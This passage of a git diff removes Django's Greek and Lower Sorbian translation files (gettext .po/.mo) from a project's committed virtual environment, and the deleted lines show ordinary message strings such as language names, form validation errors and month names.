-msgid "Directory indexes are not allowed here." -msgstr "Zapisowe indekse njejsu how dowólone." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "„%(path)s“ njeeksistěrujo" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Indeks %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Instalacija jo była wuspěšna! Gratulacija!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Wersijowe informacije za Django " -"%(version)s pokazaś" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Wiźiśo toś ten bok, dokulaž DEBUG=True jo w swójej dataji nastajenjow a njejsćo " -"konfigurěrował URL." - -msgid "Django Documentation" -msgstr "Dokumentacija Django" - -msgid "Topics, references, & how-to’s" -msgstr "Temy, reference a rozpokazanja" - -msgid "Tutorial: A Polling App" -msgstr "Rozpokazanje: Napšašowańske nałoženje" - -msgid "Get started with Django" -msgstr "Prědne kšace z Django" - -msgid "Django Community" -msgstr "Zgromaźeństwo Django" - -msgid "Connect, get help, or contribute" -msgstr "Zwězajśo, wobsarajśo se pomoc abo źěłajśo sobu" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/el/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/el/LC_MESSAGES/django.mo deleted file mode 100644 index 1b075509..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/el/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/el/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/el/LC_MESSAGES/django.po deleted file mode 100644 index 003a36cc..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/el/LC_MESSAGES/django.po +++ /dev/null @@ -1,1332 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Apostolis Bessas , 2013 -# Dimitris Glezos , 2011,2013,2017 -# Fotis Athineos , 2021 -# Giannis Meletakis , 2015 -# Jannis Leidel , 2011 -# Nick Mavrakis , 2017-2020 -# Nikolas Demiridis , 2014 -# Nick Mavrakis , 2016 -# Pãnoș , 2014 -# Pãnoș , 2016 -# Serafeim Papastefanos , 2016 -# Stavros Korokithakis , 2014,2016 -# Yorgos Pagles , 2011-2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-09-21 10:22+0200\n" -"PO-Revision-Date: 2021-11-18 21:19+0000\n" -"Last-Translator: Transifex Bot <>\n" -"Language-Team: Greek (http://www.transifex.com/django/django/language/el/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: el\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Αφρικάνς" - -msgid "Arabic" -msgstr "Αραβικά" - -msgid "Algerian Arabic" -msgstr "Αραβικά Αλγερίας" - -msgid "Asturian" -msgstr "Αστούριας" - -msgid "Azerbaijani" -msgstr "Γλώσσα Αζερμπαϊτζάν" - -msgid "Bulgarian" -msgstr "Βουλγαρικά" - -msgid "Belarusian" -msgstr "Λευκορώσικα" - -msgid "Bengali" -msgstr "Μπενγκάλι" - -msgid "Breton" -msgstr "Βρετονικά" - -msgid "Bosnian" -msgstr "Βοσνιακά" - -msgid "Catalan" -msgstr "Καταλανικά" - -msgid "Czech" -msgstr "Τσέχικα" - -msgid "Welsh" -msgstr "Ουαλικά" - -msgid "Danish" -msgstr "Δανέζικα" - -msgid "German" -msgstr "Γερμανικά" - -msgid "Lower Sorbian" -msgstr "Κάτω Σορβικά" - -msgid "Greek" -msgstr "Ελληνικά" - -msgid "English" -msgstr "Αγγλικά" - -msgid "Australian English" -msgstr "Αγγλικά Αυστραλίας" - -msgid "British English" -msgstr "Αγγλικά Βρετανίας" - -msgid "Esperanto" -msgstr "Εσπεράντο" - -msgid "Spanish" -msgstr "Ισπανικά" - -msgid "Argentinian Spanish" -msgstr "Ισπανικά Αργεντινής" - -msgid "Colombian Spanish" -msgstr "Ισπανικά Κολομβίας" - -msgid "Mexican Spanish" -msgstr "Μεξικανική διάλεκτος Ισπανικών" - -msgid "Nicaraguan Spanish" -msgstr "Ισπανικά Νικαράγουας " - -msgid "Venezuelan Spanish" -msgstr "Ισπανικά Βενεζουέλας" - -msgid "Estonian" -msgstr "Εσθονικά" - -msgid "Basque" -msgstr "Βάσκικα" - -msgid "Persian" -msgstr "Περσικά" - -msgid "Finnish" -msgstr "Φινλανδικά" - -msgid "French" -msgstr "Γαλλικά" - -msgid "Frisian" -msgstr "Frisian" - -msgid "Irish" -msgstr "Ιρλανδικά" - -msgid "Scottish Gaelic" -msgstr "Σκωτσέζικα Γαελικά" - -msgid "Galician" -msgstr "Γαελικά" - -msgid "Hebrew" -msgstr "Εβραϊκά" - -msgid "Hindi" -msgstr "Ινδικά" - -msgid "Croatian" -msgstr "Κροατικά" - -msgid "Upper Sorbian" -msgstr "Άνω Σορβικά" - -msgid "Hungarian" -msgstr "Ουγγρικά" - -msgid "Armenian" -msgstr "Αρμενικά" - -msgid "Interlingua" -msgstr "Ιντερλίνγκουα" - -msgid "Indonesian" -msgstr "Ινδονησιακά" - -msgid "Igbo" -msgstr "Ίγκμπο" - -msgid "Ido" -msgstr "Ίντο" - -msgid "Icelandic" -msgstr "Ισλανδικά" - -msgid "Italian" -msgstr "Ιταλικά" - -msgid "Japanese" -msgstr "Γιαπωνέζικα" - -msgid "Georgian" -msgstr "Γεωργιανά" - -msgid "Kabyle" -msgstr "Kabyle" - -msgid "Kazakh" -msgstr "Καζακστά" - -msgid "Khmer" -msgstr "Χμερ" - -msgid "Kannada" -msgstr "Κανάντα" - -msgid "Korean" -msgstr "Κορεάτικα" - -msgid "Kyrgyz" -msgstr "Κιργιζικά" - -msgid "Luxembourgish" -msgstr "Λουξεμβουργιανά" - -msgid "Lithuanian" -msgstr "Λιθουανικά" - -msgid "Latvian" -msgstr "Λεττονικά" - -msgid "Macedonian" -msgstr "Μακεδονικά" - -msgid "Malayalam" -msgstr "Μαλαγιαλάμ" - -msgid "Mongolian" -msgstr "Μογγολικά" - -msgid "Marathi" -msgstr "Μαράθι" - -msgid "Malay" -msgstr "" - -msgid "Burmese" -msgstr "Βιρμανικά" - -msgid "Norwegian Bokmål" -msgstr "Νορβηγικά Μποκμάλ" - -msgid "Nepali" -msgstr "Νεπαλέζικα" - -msgid "Dutch" -msgstr "Ολλανδικά" - -msgid "Norwegian Nynorsk" -msgstr "Νορβηγική διάλεκτος Nynorsk - Νεονορβηγική" - -msgid "Ossetic" -msgstr "Οσσετικά" - -msgid "Punjabi" -msgstr "Πουντζάμπι" - -msgid "Polish" -msgstr "Πολωνικά" - -msgid "Portuguese" -msgstr "Πορτογαλικά" - -msgid "Brazilian Portuguese" -msgstr "Πορτογαλικά - διάλεκτος Βραζιλίας" - -msgid "Romanian" -msgstr "Ρουμανικά" - -msgid "Russian" -msgstr "Ρωσικά" - -msgid "Slovak" -msgstr "Σλοβακικά" - -msgid "Slovenian" -msgstr "Σλοβενικά" - -msgid "Albanian" -msgstr "Αλβανικά" - -msgid "Serbian" -msgstr "Σερβικά" - -msgid "Serbian Latin" -msgstr "Σέρβικα Λατινικά" - -msgid "Swedish" -msgstr "Σουηδικά" - -msgid "Swahili" -msgstr "Σουαχίλι" - -msgid "Tamil" -msgstr "Διάλεκτος Ταμίλ" - -msgid "Telugu" -msgstr "Τελούγκου" - -msgid "Tajik" -msgstr "Τατζικικά" - -msgid "Thai" -msgstr "Ταϊλάνδης" - -msgid "Turkmen" -msgstr "Τουρκμενικά" - -msgid "Turkish" -msgstr "Τουρκικά" - -msgid "Tatar" -msgstr "Ταταρικά" - -msgid "Udmurt" -msgstr "Ουντμουρτικά" - -msgid "Ukrainian" -msgstr "Ουκρανικά" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "Ουζμπεκικά" - -msgid "Vietnamese" -msgstr "Βιετναμέζικα" - -msgid "Simplified Chinese" -msgstr "Απλοποιημένα Κινέζικα" - -msgid "Traditional Chinese" -msgstr "Παραδοσιακά Κινέζικα" - -msgid "Messages" -msgstr "Μηνύματα" - -msgid "Site Maps" -msgstr "Χάρτες Ιστότοπου" - -msgid "Static Files" -msgstr "Στατικά Αρχεία" - -msgid "Syndication" -msgstr "Syndication" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "" - -msgid "That page number is not an integer" -msgstr "Ο αριθμός αυτής της σελίδας δεν είναι ακέραιος" - -msgid "That page number is less than 1" -msgstr "Ο αριθμός αυτής της σελίδας είναι μικρότερος του 1" - -msgid "That page contains no results" -msgstr "Η σελίδα αυτή δεν περιέχει αποτελέσματα" - -msgid "Enter a valid value." -msgstr "Εισάγετε μια έγκυρη τιμή." - -msgid "Enter a valid URL." -msgstr "Εισάγετε ένα έγκυρο URL." - -msgid "Enter a valid integer." -msgstr "Εισάγετε έναν έγκυρο ακέραιο." - -msgid "Enter a valid email address." -msgstr "Εισάγετε μια έγκυρη διεύθυνση ηλ. ταχυδρομείου." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Εισάγετε ένα 'slug' που να αποτελείται από γράμματα, αριθμούς, παύλες ή κάτω " -"παύλες." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Εισάγετε ένα 'slug' που να αποτελείται από Unicode γράμματα, παύλες ή κάτω " -"παύλες." - -msgid "Enter a valid IPv4 address." -msgstr "Εισάγετε μια έγκυρη IPv4 διεύθυνση." - -msgid "Enter a valid IPv6 address." -msgstr "Εισάγετε μία έγκυρη IPv6 διεύθυνση" - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Εισάγετε μία έγκυρη IPv4 ή IPv6 διεύθυνση" - -msgid "Enter only digits separated by commas." -msgstr "Εισάγετε μόνο ψηφία χωρισμένα με κόμματα." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Βεβαιωθείτε ότι η τιμή είναι %(limit_value)s (η τιμή που καταχωρήσατε είναι " -"%(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Βεβαιωθείτε ότι η τιμή είναι μικρότερη ή ίση από %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Βεβαιωθείτε ότι η τιμή είναι μεγαλύτερη ή ίση από %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Βεβαιωθείται πως η τιμή αυτή έχει τουλάχιστον %(limit_value)d χαρακτήρες " -"(έχει %(show_value)d)." -msgstr[1] "" -"Βεβαιωθείτε πως η τιμή έχει τουλάχιστον %(limit_value)d χαρακτήρες (έχει " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Βεβαιωθείται πως η τιμή αυτή έχει τοπολύ %(limit_value)d χαρακτήρες (έχει " -"%(show_value)d)." -msgstr[1] "" -"Βεβαιωθείτε πως η τιμή έχει το πολύ %(limit_value)d χαρακτήρες (έχει " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Εισάγετε έναν αριθμό." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -"Σιγουρευτείτε οτι τα σύνολο των ψηφίων δεν είναι παραπάνω από %(max)s" -msgstr[1] "" -"Σιγουρευτείτε οτι τα σύνολο των ψηφίων δεν είναι παραπάνω από %(max)s" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Σιγουρευτείτε ότι το δεκαδικό ψηφίο δεν είναι παραπάνω από %(max)s." -msgstr[1] "Σιγουρευτείτε ότι τα δεκαδικά ψηφία δεν είναι παραπάνω από %(max)s." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Βεβαιωθείτε ότι δεν υπάρχουν πάνω από %(max)s ψηφία πριν την υποδιαστολή." -msgstr[1] "" -"Βεβαιωθείτε ότι δεν υπάρχουν πάνω από %(max)s ψηφία πριν την υποδιαστολή." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Η επέκταση '%(extension)s' του αρχείου δεν επιτρέπεται. Οι επιτρεπόμενες " -"επεκτάσεις είναι: '%(allowed_extensions)s'." - -msgid "Null characters are not allowed." -msgstr "Δεν επιτρέπονται null (μηδενικοί) χαρακτήρες" - -msgid "and" -msgstr "και" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s με αυτή την %(field_labels)s υπάρχει ήδη." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Η τιμή %(value)r δεν είναι έγκυρη επιλογή." - -msgid "This field cannot be null." -msgstr "Το πεδίο αυτό δεν μπορεί να είναι μηδενικό (null)." - -msgid "This field cannot be blank." -msgstr "Το πεδίο αυτό δεν μπορεί να είναι κενό." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s με αυτό το %(field_label)s υπάρχει ήδη." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s πρέπει να είναι μοναδική για %(date_field_label)s " -"%(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Πεδίο τύπου: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Η τιμή '%(value)s' πρέπει να είναι True ή False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Η τιμή '%(value)s' πρέπει να είναι True, False, ή None." - -msgid "Boolean (Either True or False)" -msgstr "Boolean (Είτε Αληθές ή Ψευδές)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Συμβολοσειρά (μέχρι %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Ακέραιοι χωρισμένοι με κόμματα" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Η τιμή του '%(value)s' έχει μια λανθασμένη μορφή ημερομηνίας. Η ημερομηνία " -"θα πρέπει να είναι στην μορφή YYYY-MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Η τιμή '%(value)s' είναι στην σωστή μορφή (YYYY-MM-DD) αλλά είναι μια " -"λανθασμένη ημερομηνία." - -msgid "Date (without time)" -msgstr "Ημερομηνία (χωρίς την ώρα)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Η τιμή του '%(value)s' έχει μια λανθασμένη μορφή. Η ημερομηνία/ώρα θα πρέπει " -"να είναι στην μορφή YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Η τιμή '%(value)s' έχει τη σωστή μορφή (YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]) " -"αλλά δεν αντιστοιχεί σε σωστή ημερομηνία και ώρα." - -msgid "Date (with time)" -msgstr "Ημερομηνία (με ώρα)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Η τιμή '%(value)s' πρέπει να είναι δεκαδικός αριθμός." - -msgid "Decimal number" -msgstr "Δεκαδικός αριθμός" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Η τιμή '%(value)s' έχει εσφαλμένη μορφή. Πρέπει να είναι της μορφής [DD] " -"[[HH:]MM:]ss[.uuuuuu]." - -msgid "Duration" -msgstr "Διάρκεια" - -msgid "Email address" -msgstr "Ηλεκτρονική διεύθυνση" - -msgid "File path" -msgstr "Τοποθεσία αρχείου" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Η '%(value)s' τιμή πρέπει να είναι δεκαδικός." - -msgid "Floating point number" -msgstr "Αριθμός κινητής υποδιαστολής" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Η τιμή '%(value)s' πρέπει να είναι ακέραιος." - -msgid "Integer" -msgstr "Ακέραιος" - -msgid "Big (8 byte) integer" -msgstr "Μεγάλος ακέραιος - big integer (8 bytes)" - -msgid "Small integer" -msgstr "Μικρός ακέραιος" - -msgid "IPv4 address" -msgstr "Διεύθυνση IPv4" - -msgid "IP address" -msgstr "IP διεύθυνση" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Η τιμή '%(value)s' πρέπει να είναι None, True ή False." - -msgid "Boolean (Either True, False or None)" -msgstr "Boolean (Αληθές, Ψευδές, ή τίποτα)" - -msgid "Positive big integer" -msgstr "Μεγάλος θετικός ακέραιος" - -msgid "Positive integer" -msgstr "Θετικός ακέραιος" - -msgid "Positive small integer" -msgstr "Θετικός μικρός ακέραιος" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (μέχρι %(max_length)s)" - -msgid "Text" -msgstr "Κείμενο" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Η τιμή '%(value)s' έχει εσφαλμένη μορφή. Πρέπει να είναι της μορφής HH:MM[:" -"ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Η τιμή '%(value)s' έχει τη σωστή μορφή (HH:MM[:ss[.uuuuuu]]) αλλά δεν " -"αντιστοιχή σε σωστή ώρα." - -msgid "Time" -msgstr "Ώρα" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Δυαδικά δεδομένα" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "'%(value)s' δεν είναι ένα έγκυρο UUID." - -msgid "Universally unique identifier" -msgstr "Καθολικά μοναδικό αναγνωριστικό" - -msgid "File" -msgstr "Αρχείο" - -msgid "Image" -msgstr "Εικόνα" - -msgid "A JSON object" -msgstr "Ένα αντικείμενο JSON" - -msgid "Value must be valid JSON." -msgstr "Η τιμή πρέπει να είναι έγκυρο JSON." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" -"Το μοντέλο %(model)s με την τιμή %(value)r του πεδίου %(field)s δεν υπάρχει." - -msgid "Foreign Key (type determined by related field)" -msgstr "Foreign Key (ο τύπος καθορίζεται από το πεδίο του συσχετισμού)" - -msgid "One-to-one relationship" -msgstr "Σχέση ένα-προς-ένα" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "σχέση %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "σχέσεις %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Σχέση πολλά-προς-πολλά" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Αυτό το πεδίο είναι απαραίτητο." - -msgid "Enter a whole number." -msgstr "Εισάγετε έναν ακέραιο αριθμό." - -msgid "Enter a valid date." -msgstr "Εισάγετε μια έγκυρη ημερομηνία." - -msgid "Enter a valid time." -msgstr "Εισάγετε μια έγκυρη ώρα." - -msgid "Enter a valid date/time." -msgstr "Εισάγετε μια έγκυρη ημερομηνία/ώρα." - -msgid "Enter a valid duration." -msgstr "Εισάγετε μια έγκυρη διάρκεια." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Ο αριθμός των ημερών πρέπει να είναι μεταξύ {min_days} και {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"Δεν έχει υποβληθεί κάποιο αρχείο. Ελέγξτε τον τύπο κωδικοποίησης στη φόρμα." - -msgid "No file was submitted." -msgstr "Δεν υποβλήθηκε κάποιο αρχείο." - -msgid "The submitted file is empty." -msgstr "Το αρχείο που υποβλήθηκε είναι κενό." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Βεβαιωθείται πως το όνομα του αρχείου έχει το πολύ %(max)d χαρακτήρα (το " -"παρόν έχει %(length)d)." -msgstr[1] "" -"Βεβαιωθείται πως το όνομα του αρχείου έχει το πολύ %(max)d χαρακτήρα (το " -"παρόν έχει %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Βεβαιωθείτε ότι είτε έχετε επιλέξει ένα αρχείο για αποστολή είτε έχετε " -"επιλέξει την εκκαθάριση του πεδίου. Δεν είναι δυνατή η επιλογή και των δύο " -"ταυτοχρόνως." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Βεβαιωθείτε ότι το αρχείο που έχετε επιλέξει για αποστολή είναι αρχείο " -"εικόνας. Το τρέχον είτε δεν ήταν εικόνα είτε έχει υποστεί φθορά." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Βεβαιωθείτε ότι έχετε επιλέξει μία έγκυρη επιλογή. Η τιμή %(value)s δεν " -"είναι διαθέσιμη προς επιλογή." - -msgid "Enter a list of values." -msgstr "Εισάγετε μια λίστα τιμών." - -msgid "Enter a complete value." -msgstr "Εισάγετε μια πλήρης τιμή" - -msgid "Enter a valid UUID." -msgstr "Εισάγετε μια έγκυρη UUID." - -msgid "Enter a valid JSON." -msgstr "Εισάγετε ένα έγκυρο JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Κρυφό πεδίο %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" - -#, python-format -msgid "Please submit at most %d form." -msgid_plural "Please submit at most %d forms." -msgstr[0] "Παρακαλώ υποβάλλετε το πολύ %d φόρμα." -msgstr[1] "Παρακαλώ υποβάλλετε το πολύ %d φόρμες." - -#, python-format -msgid "Please submit at least %d form." -msgid_plural "Please submit at least %d forms." -msgstr[0] "Παρακαλώ υποβάλλετε τουλάχιστον %d φόρμα." -msgstr[1] "Παρακαλώ υποβάλλετε τουλάχιστον %d φόρμες." - -msgid "Order" -msgstr "Ταξινόμηση" - -msgid "Delete" -msgstr "Διαγραφή" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Στο %(field)s έχετε ξαναεισάγει τα ίδια δεδομένα." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Στο %(field)s έχετε ξαναεισάγει τα ίδια δεδομένα. Θα πρέπει να εμφανίζονται " -"μία φορά. " - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Στο %(field_name)s έχετε ξαναεισάγει τα ίδια δεδομένα. Θα πρέπει να " -"εμφανίζονται μία φορά για το %(lookup)s στο %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Έχετε ξαναεισάγει την ίδια τιμη. Βεβαιωθείτε ότι είναι μοναδική." - -msgid "The inline value did not match the parent instance." -msgstr "Η τιμή δεν είναι ίση με την αντίστοιχη τιμή του γονικού object." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Επιλέξτε μια έγκυρη επιλογή. Η επιλογή αυτή δεν είναι μία από τις διαθέσιμες " -"επιλογές." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "\"%(pk)s\" δεν είναι έγκυρη τιμή." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"Η ημερομηνία %(datetime)s δεν μπόρεσε να μετατραπεί στην ζώνη ώρας " -"%(current_timezone)s. Ίσως να είναι ασαφής ή να μην υπάρχει." - -msgid "Clear" -msgstr "Εκκαθάριση" - -msgid "Currently" -msgstr "Τώρα" - -msgid "Change" -msgstr "Επεξεργασία" - -msgid "Unknown" -msgstr "Άγνωστο" - -msgid "Yes" -msgstr "Ναι" - -msgid "No" -msgstr "Όχι" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "ναι,όχι,ίσως" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d bytes" -msgstr[1] "%(size)d bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "μμ." - -msgid "a.m." -msgstr "πμ." - -msgid "PM" -msgstr "ΜΜ" - -msgid "AM" -msgstr "ΠΜ" - -msgid "midnight" -msgstr "μεσάνυχτα" - -msgid "noon" -msgstr "μεσημέρι" - -msgid "Monday" -msgstr "Δευτέρα" - -msgid "Tuesday" -msgstr "Τρίτη" - -msgid "Wednesday" -msgstr "Τετάρτη" - -msgid "Thursday" -msgstr "Πέμπτη" - -msgid "Friday" -msgstr "Παρασκευή" - -msgid "Saturday" -msgstr "Σάββατο" - -msgid "Sunday" -msgstr "Κυριακή" - -msgid "Mon" -msgstr "Δευ" - -msgid "Tue" -msgstr "Τρί" - -msgid "Wed" -msgstr "Τετ" - -msgid "Thu" -msgstr "Πέμ" - -msgid "Fri" -msgstr "Παρ" - -msgid "Sat" -msgstr "Σαβ" - -msgid "Sun" -msgstr "Κυρ" - -msgid "January" -msgstr "Ιανουάριος" - -msgid "February" -msgstr "Φεβρουάριος" - -msgid "March" -msgstr "Μάρτιος" - -msgid "April" -msgstr "Απρίλιος" - -msgid "May" -msgstr "Μάιος" - -msgid "June" -msgstr "Ιούνιος" - -msgid "July" -msgstr "Ιούλιος" - -msgid "August" -msgstr "Αύγουστος" - -msgid "September" -msgstr "Σεπτέμβριος" - -msgid "October" -msgstr "Οκτώβριος" - -msgid "November" -msgstr "Νοέμβριος" - -msgid "December" -msgstr "Δεκέμβριος" - -msgid "jan" -msgstr "Ιαν" - -msgid "feb" -msgstr "Φεβ" - -msgid "mar" -msgstr "Μάρ" - -msgid "apr" -msgstr "Απρ" - -msgid "may" -msgstr "Μάι" - -msgid "jun" -msgstr "Ιούν" - -msgid "jul" -msgstr "Ιούλ" - -msgid "aug" -msgstr "Αύγ" - -msgid "sep" -msgstr "Σεπ" - -msgid "oct" -msgstr "Οκτ" - -msgid "nov" -msgstr "Νοέ" - -msgid "dec" -msgstr "Δεκ" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Ιαν." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Φεβ." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Μάρτιος" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Απρίλ." - -msgctxt "abbrev. month" -msgid "May" -msgstr "Μάιος" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Ιούν." - -msgctxt "abbrev. month" -msgid "July" -msgstr "Ιούλ." - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Αύγ." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Σεπτ." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Οκτ." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Νοέμ." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Δεκ." - -msgctxt "alt. month" -msgid "January" -msgstr "Ιανουαρίου" - -msgctxt "alt. month" -msgid "February" -msgstr "Φεβρουαρίου" - -msgctxt "alt. month" -msgid "March" -msgstr "Μαρτίου" - -msgctxt "alt. month" -msgid "April" -msgstr "Απριλίου" - -msgctxt "alt. month" -msgid "May" -msgstr "Μαΐου" - -msgctxt "alt. month" -msgid "June" -msgstr "Ιουνίου" - -msgctxt "alt. month" -msgid "July" -msgstr "Ιουλίου" - -msgctxt "alt. month" -msgid "August" -msgstr "Αυγούστου" - -msgctxt "alt. month" -msgid "September" -msgstr "Σεπτεμβρίου" - -msgctxt "alt. month" -msgid "October" -msgstr "Οκτωβρίου" - -msgctxt "alt. month" -msgid "November" -msgstr "Νοεμβρίου" - -msgctxt "alt. month" -msgid "December" -msgstr "Δεκεμβρίου" - -msgid "This is not a valid IPv6 address." -msgstr "Αυτή δεν είναι έγκυρη διεύθυνση IPv6." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "ή" - -#. Translators: This string is used as a 